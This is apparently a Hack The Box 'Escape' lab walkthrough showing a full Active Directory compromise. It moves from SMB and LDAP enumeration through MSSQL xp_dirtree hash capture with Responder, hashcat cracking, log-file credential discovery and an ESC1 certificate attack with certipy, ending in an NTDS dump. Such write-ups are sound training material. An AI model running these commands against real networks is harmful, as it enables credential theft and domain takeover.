Escape HTB Walkthrough
Escape Hack The Box Walkthrough/Writeup:
How I use variables & wordlists:
- Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
- Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
-
Basic Scan:
nmap $box -Pn -oA basicScan
kali in 46.02-HTB/BlogEntriesMade/Escape/scans/nmap 2GiB/7GiB | 0B/1GiB with /usr/bin/zsh 08:21:02 zsh ❯ nmap $box -Pn -oA basicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 08:21 BST Nmap scan report for 10.129.228.253 Host is up (0.042s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds
- Some interesting enumeration paths already:
53
- DNS:- We can check for interesting records:
88
- Kerberos:- We can use kerbrute to bruteforce users using pre-auth.
445
- Good ol’ smb:- We can check for null sessions.
389
- LDAP:- We can check for anonymous binds and enumerate the domain.
1443
- MSSQL:- A good target in general to go after.
-
In depth scan:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in 46.02-HTB/BlogEntriesMade/Escape/scans/nmap 2GiB/7GiB | 0B/1GiB with /usr/bin/zsh took 12s 08:21:23 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 08:21 BST Nmap scan report for 10.129.228.253 Host is up (0.038s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-04 15:24:15Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2024-10-04T15:25:48+00:00; +8h00m00s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2024-10-04T15:25:48+00:00; +8h00m00s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.129.228.253:1433: | Target_Name: sequel | NetBIOS_Domain_Name: sequel | NetBIOS_Computer_Name: DC | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: dc.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.129.228.253:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-10-04T15:25:48+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-10-04T15:17:39 |_Not valid after: 2054-10-04T15:17:39 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2024-10-04T15:25:48+00:00; +8h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2024-10-04T15:25:48+00:00; +8h00m00s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49669/tcp open msrpc Microsoft Windows RPC 49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49694/tcp open msrpc Microsoft Windows RPC 49712/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49743/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-10-04T15:25:11 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 242.11 seconds
LDAP 389
:
-
Using LDAP anonymous bind to enumerate further:
- If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
-
It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in ~/Desktop/WindowsTools v3.12.6 2GiB/7GiB | 0B/1GiB with /usr/bin/zsh 08:22:05 zsh ❯ python3 ldapchecker.py $box Attempting to connect to 10.129.228.253 with SSL... Connected successfully. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=sequel,DC=htb CN=Configuration,DC=sequel,DC=htb CN=Schema,CN=Configuration,DC=sequel,DC=htb DC=DomainDnsZones,DC=sequel,DC=htb DC=ForestDnsZones,DC=sequel,DC=htb
-
We have the domain functionaility level:
Other: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7 rootDomainNamingContext: DC=sequel,DC=htb ldapServiceName: sequel.htb:[email protected]
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: That any host os can used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Here’s a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
-
I update my
/etc/hosts
file now that we have the server name.- This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
DNS 53
:
Using dnsenum to enumerate DNS records:
- Run dnsenum to enumerate if there are any interesting records present:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt sequel.htb
-
- Nothing of note other than the standard DNS records for a DC.
-
Kerberos 88
:
Using Kerbrute to bruteforce Usernames:
- As kerberos is present we can enumerate users using kerbrute:
kerbrute userenum -d sequel.htb --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt
- Unfortunately we get no hits:
SMB 445
:
Using netexec to check for null & guest session on SMB:
-
I check for a null sesion using netexec but they have been disabled:
netexec smb $box -u '' -p '' --shares
-
I check if the guest account has been disabled:
netexec smb $box -u 'guest' -p '' --shares
- It looks like we can access the
Public
&IPC$
We will focus on thePublic
share.
Over view of IPC$
Share:
- Quick overview if you are unfamiliar with the
IPC$
share:- The
IPC$
share (Inter-Process Communication
) is a special administrative share in Windows which allows communication with programs via Named Pipes:- It’s mainly used for inter-process communication between hosts over a network.
- It also enables remote administration of a system, allowing file and print sharing.
- It’s a default share on windows systems.
- Requires credentials for access, typically used in conjunction with administrative or user rights.
- But as you can see
Guest
creds can also work in some instances.
- But as you can see
- It is possible to use
IPC$
for enumeration (e.g., enumerating users, shares, groups or services).
- The
Connecting to the Public SMB
Share using smbclient
:
-
I logon to the share using a guest session:
smbclient -U 'guest' "\\\\$box\\Public"
- I see they have a
.pdf
calledSQL Server Procedures
in the share
- I see they have a
-
I download the
.pdf
:Get "SQL Server Procedures.pdf"
Attempting to extract creator names from the .PDF
:
If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's
if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name
- Some reasons why the Creator Field Uses the Windows User’s Logged-In Name:
-
PDF Metadata Collection:
- When creating a PDF, many programs (e.g., Microsoft Word, Adobe Acrobat) automatically pull metadata from the system.
-
System Environment Variables:
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
Creator
” in the PDF document.
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
-
Program Defaults:
- By default, many PDF generation tools use the logged-in username as the creator unless manually changed by the user.
-
Tracking Ownership:
- This feature helps track the original creator or author of a document for auditing or document management purposes.
-
Attempting to extract Usernames From the PDF using exiftool:
exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userNames.txt
- I run it and check the output of the file, however there are no valid usernames, just that it was crated using Mozilla.
-
Command Breakdown:
-
exiftool -Creator -csv *pdf
exiftool
: Run the tool-Creator
: Extracts theCreator
metadata field from the files.-csv
: Outputs the data in CSV format.- This is the most important part for the rest of the command to work:
- The
CSV
format provides a structured way to output the metadata in rows and columns. When extracting metadata from multiple PDFs, each PDF’s metadata is presented as a row, and each field (like “Creator
”) is a column. This makes it easier to process the data programmatically. - Simplicity: When using tools like
cut
, it’s easier to extract specific fields by referring to column numbers (e.g.,-f2
for the second column), which is straightforward withCSV
formatting.
- The
- This is the most important part for the rest of the command to work:
*pdf
: Targets all PDF files in the current directory.
-
| cut -d, -f2
|
: Pipes the output from the previous command into the next.cut
: Extracts specific fields from the CSV output.-d,
: Uses a comma as the delimiter (since it’s CSV data).-f2
: Selects the second field, which contains the creator name.
-
| sort
: Sorts the creator names alphabetically. -
| uniq
: Removes duplicate names, leaving only unique entries. -
> userNames.txt
- Redirects the final output (unique creator names) into a file named
userNames.txt
- Redirects the final output (unique creator names) into a file named
-
Finding Hard-Coded mSSQL Creds in the SQL Server Procedures
PDF:
-
Problematic MSSQL Instance:
- Reading the PDF it details how the company has had issues with mistakes with the MSSQL instance. However it appears there is still a live server running on the DC (which we have seen from our
NMAP
scan)
- Reading the PDF it details how the company has had issues with mistakes with the MSSQL instance. However it appears there is still a live server running on the DC (which we have seen from our
-
Hard Coded Creds:
- Looking on the second page we can see they hard creds for new hires and have placed these in the
.pdf
naughty, naughty! - We will use these to connect
- Looking on the second page we can see they hard creds for new hires and have placed these in the
Finding Usernames within the PDF:
- Finding Usernames:
- Looking through the file we can see that the users,
Ryan
,Tom
&Brandon
. There is also a mail to hyperlink to Brandon that reveals his username to be[email protected]
I will add these to my username list.
- Looking through the file we can see that the users,
Cred Stuffing & Meaning of “Guest
” in the SMB
Responses in netexec
:
- I tried cred stuffing all of the users & the password I have found so far and got the below output, where
(Guest)
was appended to each attempt.- I had never seen this before & it led me to this page:
-
https://www.netexec.wiki/smb-protocol/enumeration/enumerate-guest-logon
-
Which says this:
Using a random username and password you can check if the target accepts guest logon. If so, it means that either the domain guest account or the local guest account of the server you’re targetting is enabled.
-
- Guest account in
SMB
:SMB
servers often allow users to connect as aGuest
, meaning the users have limited or no write permissions. The server may allow these users to read files but restrict their ability to modify or create new files.- In this case
sequel.htb\ryan:GuestUserCantWrite1 (Guest)
indicates that theryan
account is authenticated, but with Guest permissions, likely meaning the account does not have full access to resources. - So when you see “
Guest
” listed after users likesequel.htb\ryan
,sequel.htb\tom
, etc., it indicates that the user account is being authenticated using the Guest account privileges in SMB.
MSSQL 1433
:
- I store each useful bit of information in
VARS
so I can easily call on them later and have to type way less:- This is also a great way to ensure you make less mistakes & type-os.
Cred stuffing the MSSQL Instance:
- I cred stuff with all the known users so far just incase they have not changed their password from the default password, however it appears they have.
2. Foothold:
Connecting to the MSSQL Instance using impacket-mssqlclient:
- Connecting to the mssql instance:
impacket-mssqlclient $domain/$user:$pass@$box
Enumerating the MSSQL Instance:
- Looking through the mssql instance there are only default databases.
- I try and activate
xp_cmdshell
however we do not have perms:
Capturing the MSSQL System Admin hash using Responder & xp_dirtree
:
-
I know that it’s possible to read files using
xp_dirtree
as I did this on the Manager box: -
I check if I can use
xp_dirtree
to read & list local files- I cannot read files however my password is
GuestUserCantWrite1
so lets see if we can write as I know it’s possible to host a malicious SMB server and request the DB instance attempt to connect so we can capture theMSSQL System Administrator Hash
- Just a note: impacket-mssqlclient.py has good tools built in already so you you can just run
xp_dirtee <path>
you do not have to use all args etc.
- Just a note: impacket-mssqlclient.py has good tools built in already so you you can just run
-
I start Responder:
sudo responder -v -I tun0
-
I use
xp_dirtee
to connect back to my malicious SMB server:exec master..xp_dirtree '\\10.10.14.38\share\'
- This is just \\<MYKALIIP\FAKESHARE>
-
Hash Caught:
- This works as when we run the command using
xp_dirtree
it tries to connect & authorize to our maliciousSMB server
& Responder captures the hash:
Overview of xp_dirtree
:
-
xp_dirtree
is an extended stored procedure in Microsoft SQL Server. -
It is used to list the directory structure (files and subdirectories) of a specified path on the server.
-
Command Injection Risk: Since it’s interacting with the OS, it can be a target for malicious input if not properly handled. (E.G. Getting it to connect to our malicious SMB server so we can capture hashes)
-
Using
xp_dirtree
: -
Called using the syntax below:
EXEC xp_dirtree 'path', depth, file_flag;
- Example:
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
- Example:
EXEC xp_dirtree 'C:\', 1, 1;
- Notes:
- Path Specified:
C:\
Lists the contents of the root of the C drive.
- Depth Level:
1
: Indicates it will list files and directories in the first level of the C drive.- This includes files directly in
C:\
and the first-level directories underC:\
.
- File Flag:
1
: Specifies that both files and directories should be included in the output.
- Output:
- The result set will contain:
- All files located directly in
C:\
. - All first-level subdirectories (e.g.,
C:\Program Files
,C:\Windows
, etc.).
- All files located directly in
- The result set will contain:
- +Note+:
- The command does not recursively list files in subdirectories beyond the first level due to the specified depth of 1~.
- If you want to see files in deeper levels, you can increase the depth parameter e.g.
2
,3
etc
- Path Specified:
- Notes:
Cracking the MSSQL System Admin using Hashcat:
-
I fire up hashcat and good ol’ trusty rockyou
hashcat -m 5600 mssqlhash ~/Wordlists/rockyou.txt
-
- Cracked!! In theory we should be able to authorize as this DBA, activate
xp_cmdshell
and get code execution on the underlying OS.
- Cracked!! In theory we should be able to authorize as this DBA, activate
-
I verify it’s valid:
Enumerating SMB as sql_svc
user:
-
I check with netexec if the user can connect to SMB and they can, they have access to the
SYSVOL
share as well as theNETLOGON
share. -
SYSVOL
Share Enumeration:- I use smbmap to enumerate the share but there is nothing of note:
smbmap -u $user -p $pass -H $box -r SYSVOl
- I use smbmap to enumerate the share but there is nothing of note:
-
NETLOGON
Share Enumeration:smbmap -u $user -p $pass -H $box -r NETLOGON
SYSVOL
Share:
- Part of the
SYSVOL
directory is shared as theSYSVOL
share; this is critical for distributing files necessary for Group Policy & will often be used to hold scripts on a DC so this is a good target to go after.
Running bloodhound.py:
- I use
bloodhound.py
to enumerate the domain with the creds I have.python3 bloodhound.py -dc dc.sequel.htb -c All -u $user -p $pass -d sequel.htb -ns $box
- Looking at the results our current user does not have that many privielges so I will continue to enumerate.
Connecting to the MSSQL as sql_svc
:
-
I connect to the host as
sql_svx
: -
I try and enable
xp_cmdshell
but am unable to:
Finding a linked SQL Instance:
-
+Correction+: This is wrong, I later found it was just showing me my existing database, I have left it in as I believe it’s important and show these mistakes.
-
I check if there are any linked remote SQL instances running:
SELECT srvname, isremote FROM sysservers;
- We can also run the inbuilt command in
impacket-mssql
: enum_links
-
- I try and connect but I am unable to access the instance
Enumerating the Host Using xp_dirtree
:
-
I check if am able to use
xp_dirtree
to list files on the host:- Bingo
-
I list the users home folders and find a
Ryan.Cooper
:- I add his name to my users.
-
I try and list his home folder but don’t have perms:
-
I enumerate further and find that there is an
ERRORLOG.BAK
*file stored inC:\SQLServer\Logs\
Downloading ERRORLOG.BAK
& why it’s important to re-check your tools:
-
I try and use the
SINGLE_CLOB
approach to read the file but don’t have the required permissions:SELECT * FROM OPENROWSET(BULK N'C:\SQLServer\Logs\ERRORLOG.BAK', SINGLE_CLOB) AS Contents
-
I try and create a new MSSQL database so I can then import the
ERROLOG.BAK
into it:CREATE DATABASE hacker;
- Denied again.
-
Using evil-winrm to retrieve the
ERRORLOG.BAK
file:- I try and connect with
evil-winrm
which I was convinced I did earlier & couldn’t but tried again anyway & could connect!!!- Slap me with the idiot gun stick!!!
- +Note+: This is something I want to stress, it’s really important to re-check tools in situations like this sometimes you get false positives & false negatives.
- I try and connect with
Reading ERRORLOG.BAK
& finding credentials for Ryan.Cooper
:
-
I open the
ERRORLOG.BAK
in my text editor:- I search for the string “password” & get a hit containing
Ryan.Coopers
password:
- I search for the string “password” & get a hit containing
-
I verify if the creds are still valid using
netexec
:netexec smb $box -u $user -p $pass --shares
3. Privilege Escalation:
Enumerating the host as Ryan.Cooper
:
-
In this section I am going to show EVERYTHING I do, obviously blogs are cultivated and don’t show every little thing, but I want to show all the tools I try to get root.
-
I connect via
evil-winrm
& retrive the flag:
Automated Enumeration:
-
I check bloodhound:
- But there is no clear path here so we need to enumerate the host and the user further:
-
I try and run
secretsdump.py
:- +Note+: This may seem weird to do now, however I have had success retriveing creds this way and moving laterally.
-
Running
LaZagne.exe
:- We get nothing, will have to try harder…offsec is that you?
- We get nothing, will have to try harder…offsec is that you?
-
I run
SessionGopher.ps1
to check for any other sessions: -
I run
privesccheck.ps1
:- I do see that LSA is not protected:
- I do see that LSA is not protected:
Stored Credentials Enumeration:
- Check for stored creds using
cmdkey
:cmdkey /list
User Enumeration:
- I enumerate users:
net user
- +Note+: The reason my user enumeration is not more extensive is due to the fact that Groups, Users & Hosts are enumerated via bloodhound. My main goal at the moment is to find out what is happening on this specific DC.
Basic System Enumeration:
- I try and gather basic
systeminfo
but am denied:
Installed Program Enumeration:
- I list all the installed programs by querying the registry keys using powershell:
*Evil-WinRM* PS C:> ('HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*') | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object DisplayName, DisplayVersion, InstallLocation | Format-Table -AutoSize DisplayName DisplayVersion InstallLocation ----------- -------------- --------------- Microsoft SQL Server 2019 (64-bit) Microsoft SQL Server 2019 (64-bit) SQL Server 2019 Common Files 15.0.2000.5 Microsoft SQL Server 2019 Setup (English) 15.0.4013.40 SQL Server 2019 XEvent 15.0.2000.5 SQL Server 2019 XEvent 15.0.2000.5 SQL Server 2019 SQL Diagnostics 15.0.2000.5 Microsoft VSS Writer for SQL Server 2019 15.0.2000.5 Microsoft SQL Server 2019 T-SQL Language Service 15.0.2000.5 Microsoft SQL Server 2019 RsFx Driver 15.0.2000.5 SQL Server 2019 Common Files 15.0.2000.5 SQL Server 2019 Database Engine Shared 15.0.2000.5 SQL Server 2019 Shared Management Objects 15.0.2000.5 Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.29.30133 14.29.30133 SQL Server 2019 DMF 15.0.2000.5 Microsoft ODBC Driver 17 for SQL Server 17.7.2.1 SQL Server 2019 Shared Management Objects Extensions 15.0.2000.5 SQL Server 2019 Connection Info 15.0.2000.5 Microsoft OLE DB Driver for SQL Server 18.5.0.0 Microsoft SQL Server 2012 Native Client 11.4.7462.6 SQL Server 2019 Database Engine Services 15.0.2000.5 SQL Server 2019 Shared Management Objects 15.0.2000.5 SQL Server 2019 Shared Management Objects Extensions 15.0.2000.5 VMware Tools 12.0.6.20104755 C:\Program Files\VMware\VMware Tools\ SQL Server 2019 Batch Parser 15.0.2000.5 SQL Server 2019 Database Engine Shared 15.0.2000.5 SQL Server 2019 Database Engine Services 15.0.2000.5 Microsoft Visual C++ 2019 X64 Additional Runtime - 14.29.30133 14.29.30133 SQL Server 2019 DMF 15.0.2000.5 SQL Server 2019 Connection Info 15.0.2000.5 Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.29.30133 14.29.30133.0 Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.29.30133 14.29.30133.0 Microsoft Visual C++ 2019 X86 Additional Runtime - 14.29.30133 14.29.30133 Browser for SQL Server 2019 15.0.2000.5 Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.40664 12.0.40664 Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.40664 12.0.40664.0 Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.40664 12.0.40664 Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.29.30133 14.29.30133
- The only thing that looks interesting here is the VMWare install, however that could just be for the box to run.
Path Enumeration:
- I enumerate the
PATH
:$Env:PATH
- I see that there is an installation of
OpenSSH
here:
- I see that there is an installation of
Drive Enumeration:
- I check for any other mounted drives:
get-PSdrive
- What is interesting here is
Cert
, certificates can be used as a valid attack path.
Scheduled Task Enumeration:
- I check for scheduled tasks:
Get-ScheduledTask | select TaskName,State
- It is denied, however I can use
schtasks
, save the output and inspect later:schtasks /query /fo LIST /v > tasks.txt
- This provides ALOT of data, so we need to be smart with how we process it. At the moment I have kept it for later.
Powershell History Enumeration:
- I try and check his powershell history file:
Cat C:\Users\Ryan.Cooper\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-ChildItem -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine" | Format-Table -AutoSize
Network Enumeration:
-
I check to see if we are listening or presenting any interesting services:
netstat -nao
-
Arp Table Enumeration:
arp -a
- There are some other hosts listed here, however as far as I am aware this is the only target for this engagement as it’s a single box, unless we are presenting different services on different nics & they have seperate IP’s.
-
NIC enumeration:
ipconfig /all
- I check for additional NICS but there is nothing, so the entries in the arp table I imagine are part of HTB’s infrastructure.
-
I check the routing table:
route print
-
I attempt to enumerate network shares but I am denied:
-
I check for VPN connections:
rasdial
Service/Process Enumeration:
-
I attempt to list all processes running:
- I try with
tasklist /svc
& withwmic process list full
but I am denied.
- I try with
-
I try and enumerate services using powershell:
get-service
- It fails as I suspect, however we can also check services with
evil-winrm
.
-
Listing running services using
evil-winrm
:- There are 3 services running with Privs, but 2 are Defender and the other is a standard windows component, so not hijackable as far as I am aware.
Enumerating the password policy:
- Enumerating the password policy:
net accounts
- Nothing of note
Enumerating if the DC is vulnerable to any certificate privilege escalation techniques.
-
I use certipy to check if the DC is vulnerable:
certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
-
Reading the report it says the DC is vulnerable to the ESC1 attack path:
Using ESC1 Attack Chain to elevate privileges to Administrator:
-
I retrieve the certificate template name from the file:
-
I sync my clock:
sudo ntpdate -s sequel.htb
-
- +Note+:
- If you see the below error this is most likely down to your attack host clock being too out of sync with the target. (Picture taken from a previous box where I learned the hard way)
- +Note+:
-
I request a cert:
certipy-ad req -username $user@$domain -password $pass -ca sequel-DC-CA -target ca.$domain -template UserAuthentication -upn administrator@$domain -dns dc.$domain
- +Note+: How we have used the name of the certificate we found in step 1
UserAuthentication
- +!!!SUCESS!!!+
-
I request to authenticate as the Administrator and retrieve the Administrator NT hash & creds stored in
.ccache
:certipy-ad auth -pfx administrator_dc.pfx -dc-ip $box
- We have both the administrator hash as well as the creds stored in
.ccache
which we can use Kerberos authentication with.
Attack Deep-Dive e.g Exploiting UPN’s in ESC1 Attacks: A Hackers Guide:
-
What’s a UPN and Why Do We Care?
- First things first:
UPN
stands for User Principal Name (UPN). They’re commonly used when issuing certificates from a Microsoft Certificate Authority (CA) for user authentication. Here’s why they’re so important:- They represent identity in certificates, usually in the Subject Alternative Name (SAN) extension.
- They link certificates to specific Active Directory accounts.
- They enable certificate mapping for authentication.
- They facilitate Single Sign-On (SSO) scenarios.
- They’re used in smart card logons.
- Sometimes, they even correspond to email addresses.
- First things first:
-
Now onto the attack:
- ESC1 is one of the most fundamental certificate-based attack vectors in Active Directory environments. It occurs when a certificate template allows for client authentication and is configured with dangerous enrollment permissions. Here’s why it matters:
- It’s incredibly common in enterprise environments
- Often overlooked during security assessments
- Can lead to complete domain compromise (like in this case)
- Relatively simple to execute
- ESC1 is one of the most fundamental certificate-based attack vectors in Active Directory environments. It occurs when a certificate template allows for client authentication and is configured with dangerous enrollment permissions. Here’s why it matters:
-
The ESC1 Attack: Your Gateway to Domain Admin Privileges:
- The ESC1 attack path revolves around a misconfigured certificate template that grants excessive enrollment permissions. Here’s the breakdown:
- We discover a template that allows client authentication (like the User template)
- We notice that low-privileged users (like Domain Users) have enrollment rights
- We request a certificate using this template
- We can now authenticate to services that accept certificate-based authentication
- The ESC1 attack path revolves around a misconfigured certificate template that grants excessive enrollment permissions. Here’s the breakdown:
-
From Certificate to Domain Access:
- But wait, you might ask, “How do we actually leverage this certificate for privilege escalation?” Great question! Here’s the step-by-step process:
-
First, we identify vulnerable templates:
- Look for templates that allow client authentication
- Check if Domain Users can enroll
- Verify the template is enabled
-
We request and obtain our certificate:
- Using Certipy
- The certificate is valid and trusted within the domain
-
Here’s where the magic happens:
- We can now authenticate to services that accept certificate auth
- +Note+: Certipy extracts this the admin hash from TGT and presents us with it as well as saving the TGT as a
.cacche
file so we can then perform PTT attacks from the comfort of our attack box.
-
Privilege escalation opportunities:
- Authenticate as a the privielged user with their hash.
- Authentication to sensitive services
- Potential for further certificate template abuse
-
- But wait, you might ask, “How do we actually leverage this certificate for privilege escalation?” Great question! Here’s the step-by-step process:
-
Why This Attack Vector is Significant:
- Widespread Impact: Many organizations use default certificate templates
- Persistence: Certificates typically have long validity periods
- This one is valide for 99 years!!!
- Stealth Factor: Certificate-based authentication generates fewer logs
- Chain Reaction: Can be combined with other ESC attacks for greater impact
-
Detection and Prevention:
- Audit certificate template permissions regularly
- Restrict enrollment rights to necessary users only
- Disable unused certificate templates
- Monitor certificate request patterns
- Implement proper template security settings
-
Tools of the Trade:
-
Remember: ESC1 might seem basic, but it’s often the first step in a more complex attack chain. Don’t underestimate its potential impact on your Active Directory security posture!
4. Ownership:
Dumping NTDS.dit
database:
- Dumping NTDS for ownership:
netexec smb $box -u $user -H $hash -M ntdsutil
Loading .ccache
into the KRB5CCNAME
Variable to Authenticate:
-
I load the
.ccache
into theKRB5CCNAME
Variable: -
I check it’s valid:
netexec smb $box -u administrator --use-kcache --shares
- It is, we can now authenticate with kerberos.
Lessons Learned:
What did I learn?
- I hadn’t actually used the ESC1 attack vector before only ESC7 in https://bloodstiller.com/walkthroughs/manager-box/, so it was cool to that.
- I learned about netexec displaying
guest
when a random username and password is supplied as a way to show that guest logon is accepted on the target. - I learned to always re-check my tools. That mistake with
evil-winrm
was silly.
What silly mistakes did I make?
- See point 3 above.
- Oh I also tried to use the wrong certificate name when initially doing the exploit, copy & paste always!
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at proton dot me